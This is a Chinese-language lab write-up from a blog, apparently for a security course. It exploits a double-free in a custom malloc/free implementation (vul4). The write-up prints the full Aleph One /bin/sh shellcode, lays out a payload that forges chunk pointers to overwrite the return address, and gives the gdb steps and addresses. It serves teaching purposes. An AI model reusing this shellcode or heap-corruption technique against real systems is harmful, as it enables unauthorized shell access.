实验环境、代码、及准备

https://www.cnblogs.com/lqerio/p/12870834.html

vul4

观察foo函数,可见问题在于最后一次tfree(q)。由于之前已经tfree了q,现在相当于tfree一个不存在的空间,导致出错。

再看自定义的函数

CHUNK结构体占8个字节(前4个字节为左指针,后4个字节为右指针,分别指向前后的块位置)

在块的r指针的低位部分存储块的状态,1为空闲,0为占用

SET_FREEBIT()函数为将块设置为空闲块

CLR_FREEBIT()函数为将块设置为占用块

GET_FREEBIT()函数为查看块是否为空闲块

RIGHT()函数为当块为空闲块时获取其r指针,即返回右节点

CHUNKSIZE()函数为当前连续空闲块的大小

TOCHUNK()函数为由指针返回CHUNK的头部

FROMCHUNK()函数为由CHUNK返回指针位置

ARENA_CHUNKS 为CHUNK的数目

arena[]为 每个CHUNK的空间

bot 为空间的底部

top 为空间的顶部

Init分配65536字节的chunk数组,bot是数组底部指针,top是数组顶部指针。

Tmalloc分配空间,遍历chunk双链表,找到free且足够大的chunk分配。返回连续的chunk的头部。先找到一个足够大的连续chunk链,chunk链头部标志占用。然后如果chunk链大于需要的空间,在中间截断(选一个块然后标志空闲)。

Tfree函数相当于先把左侧连续的占用的chunk free合并,再把右侧的free,合并。P代表了连续的空闲块的头部。

shellcode(构造过程)

原理是运行/bin/sh 来得到shell,构造过程是将具有运行/bin/sh的C代码转换成有相同功能的机器码。注意代码中用到  0  的地方改成用 xor  eax,eax,这样可以避免复制字符串时遇到/0 中断。

下面的shellcode长度为45字节(不含/0)

/*

* Aleph One shellcode.

*/

static const char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

exploit4

先参考1.4中vul4的分析,

看foo中流程,可知先是p从65536的起始位置(BOT)分配了512字节空间(注意自定义的分配函数  size = sizeof(CHUNK) * ((nbytes+sizeof(CHUNK)-1)/sizeof(CHUNK) + 1);),然后紧接着q分配312字节空间。然后tfree这两块。然后又从BOT分配1024给p。这样第二层分配给p的空间就覆盖第一次的p的空间。根据TOCHUNK(VP

)函数可知他获得的是VP-8字节的内容。

所以q的chunk结构(8字节)对应  obsd_strlcpy(p, arg, 1024);的504-512字节。

利用tfree(p)的过程,将q的右节点设置为存放ret地址的地址,左节点设置为payload起始地址,这里设置为foo中p节点的地址(1024字节的起始位置)。

此时因为刚刚分配了1024空间,foo中p节点的标志位为0(占用),需要通过payload修改为1(空闲),也就是payload的4-8字节(对应foo中p的reght指针)最低位修改为1.

然后进入tfree第一个if,过程为

q->s.r      = p->s.r;  // 设置foo中p的s.r为foo的存放ret的地址

p->s.r->s.l = q;//将ret的地址的连续的8字节当做了chunk结构,恰好修改了ret地址位payload起始地址(foo中p的地址)

此时可以写出第一个payload=40*nop+45shellcode+419*nop+payload地址(foo中p的地址)+存放ret的地址(ebp+4)+512*nop=1024字节。

然后修改foo中p的right指针标志位为1标记空闲(*(int*)(payload+4)=-1))设置为111111111.

然后遇到了问题,payload跳转到其他位置。Gdb查看payload,发现有call指令。

然后修改为payload2

只修改foo中p的right的最低一位为1,即00000001.然后加一个jmp指令向后跳,跳过可能的call指令。Jmp对应机器码\xeb。注意jmp的机器码后需要有jmp的偏移量,可以设置为12。

现在只需要获得foo中p的地址和存放ret的地址。存放ret的地址可以先print ebp然后+4就得到

先按照上述格式填写payload,地址先随便填

Gdb /tmp/vul4

Disas foo

得到最后一个tfree的地址 0x0804862e

Gdb -e exploit4  -s  /tmp/vul4

Catch exec

R

Break foo

C

Ni

Break *0x804862e

Print $ebp

Print p

所以payload中地址:

P=0x804a068

Ret的地址=0xbffffa5c+4=0xbffffa60

运行结果

缓冲区溢出实验 4 内存管理(类似于malloc free)的更多相关文章

  1. 2018-2019-2 20165232《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165232<网络对抗技术>Exp1 缓冲区溢出实验 实验点1:逆向及Bof基础实践 实践任务 用一个pwn1文件. 该程序正常执行流程是:main调用foo函 ...

  2. 2018-2019-2 20165225《网络对抗技术》Exp1 缓冲区溢出实验

    2018-2019-2 20165225<网络对抗技术>Exp1 缓冲区溢出实验 声明 虽然老师在邮箱中要求要把虚拟机名改为个人名字缩写,但是我的kali好像不是很听话...重启数次也没用 ...

  3. Kali学习笔记33:Linux系统缓冲区溢出实验

    之前做过一个Windows应用SLmail的缓冲区溢出的实验 这次来做一个Linux平台的缓冲区溢出实验: 缓冲区溢出是什么? 学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序 ...

  4. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  5. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  6. SEED缓冲区溢出实验笔记

    缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/ (本 ...

  7. 动态内存管理:malloc/free/new/delete/brk/mmap

    这是我去腾讯面试的时候遇到的一个问题——malloc()是如何申请内存的? c++ 内存获取和释放 new/delete,new[]/delete[] c 内存获取和释放 malloc/free, c ...

  8. 20191310Lee_yellow缓冲区溢出实验

    缓冲区溢出实验 1.什么是缓冲区溢出 ​ 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据 ...

  9. linux内存管理之malloc、vmalloc、kmalloc的区别

    kmalloc kzalloc vmalloc malloc 和get_free_page()的区别 一.简述 1. kmalloc申请的是较小的连续的物理内存,虚拟地址上也是连续的.kmalloc和 ...

随机推荐

  1. SpringBoot快速掌握(1):核心技术

    SpringBoot快速掌握(1):核心技术 SpringBoot快速掌握(1):核心技术 SpringBoot快速掌握(1):核心技术 SpringBoot快速掌握(1):核心技术 SpringBo ...

  2. inode占满导致No space left on device inode快速解决方法

    暂未发现其他比我这个更快的方法. 因为其他方法会展示那个非常卡的目录,导致效率极低.而我这个方法不会去展示那个目录. 查找占用的目录 find / -type d -size +1M -maxdept ...

  3. JVM(五)手动解析.class文件

    一:不同进制之间的转换 二进制:逢2进1,数字0-1. 八进制:逢8进1,数字0-7.三位二进制表示一位八进制.三位二进制最大为111,最大为7. 十进制:逢10进1,数字0-9.四位二进制表示一位十 ...

  4. Web自动化测试python环境中安装 --selenium安装、火狐和火狐驱动版本、谷歌和谷歌驱动版本、测试

    一.安装selenium Windows命令行(cmd)输入pip install selenium(无须指定版本默认最新)或 pip install selenium==3.141.0(可指定版本) ...

  5. Maven 依赖机制

    概述 在 Maven 依赖机制的帮助下自动下载所有必需的依赖库,并保持版本升级.让我们看一个案例研究,以了解它是如何工作的.假设你想使用 Log4j 作为项目的日志.这里你要做什么? 传统方式 访问 ...

  6. Go Concurrency Patterns: Context At Google, we require that Go programmers pass a Context parameter as the first argument to every function on the call path between incoming and outgoing requests.

    小结: 1. Background is the root of any Context tree; it is never canceled: 2.     https://blog.golang. ...

  7. IdentityServer4之Implicit和纯前端好像很配哦

    前言 上一篇Resource Owner Password Credentials模式虽然有用户参与,但对于非信任的第三方的来说,使用这种模式是有风险的,所以相对用的不多:这里接着说说implicit ...

  8. Fiddler扩展——自定义列数据&Tunnel to 443解决办法

    在平时日常工作中,使用Fiddler的占比还是蛮大的.使用过程,也会遇到一些小问题,问题虽小,但抓不到包,分析不了问题与数据,那也是件麻烦的事情. 以前也分享过一些小技巧,可以找以前的博文查看,具体地 ...

  9. H5 的直播协议和视频监控方案

    H5 的直播协议和视频监控方案 一.流媒体主要实现方式 二.流媒体技术 2.1 流媒体 2.2 直播 2.3 流协议 2.3.1 HLS 协议 2.3.2 RTMP 协议 2.3.3 RTSP 协议 ...

  10. Java-eclipse导入jar包

    Java-eclipse导入jar包 方法一:基本步骤式 右键项目属性,选择Property,在弹出的对话框左侧列表中选择Java Build Path,如下图所示:选择Add External JA ...